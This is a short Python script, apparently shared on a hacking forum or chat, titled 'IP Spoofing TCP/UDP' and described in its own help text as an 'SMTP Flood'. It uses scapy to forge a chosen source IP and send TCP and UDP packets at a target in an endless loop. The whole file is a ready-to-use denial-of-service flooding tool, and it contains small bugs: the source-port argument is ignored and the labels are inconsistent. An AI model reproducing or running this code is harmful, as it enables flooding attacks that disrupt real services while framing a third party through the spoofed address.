IP Spoofing TCP/UDP

# pip install scapy
# SmallDoink#0666
# FuckBinary
from scapy.all import *
import argparse


if __name__ == '__main__':
    print 'usage: python script.py <target> <spoofed> <dport> <sport>'
    parser = argparse.ArgumentParser(
        description="SMTP Flood | SmallDoink#0666"
        )

    parser.add_argument('ip', help="ip to attack")
    parser.add_argument('sip', help='ip to spoof')
    parser.add_argument('port', help='port')
    parser.add_argument('sport', help='source port')
    arguments = parser.parse_args()

    ip = arguments.ip
    p = int(arguments.port)
    sip = arguments.sip
    sp = int(arguments.port)
    payload = 'putapayloadinherethatyouwanttoattack'

    spoofed_tcp = IP(src=sip, dst=ip) / TCP(sport=sp, dport=p) / payload
    spoofed_attack = IP(src=sip, dst=ip) / UDP(sport=sp, dport=p) / payload
    while 1:
        try:
            send(spoofed_attack)
            send(spoofed_tcp)
        except KeyboardInterrupt:
            exit()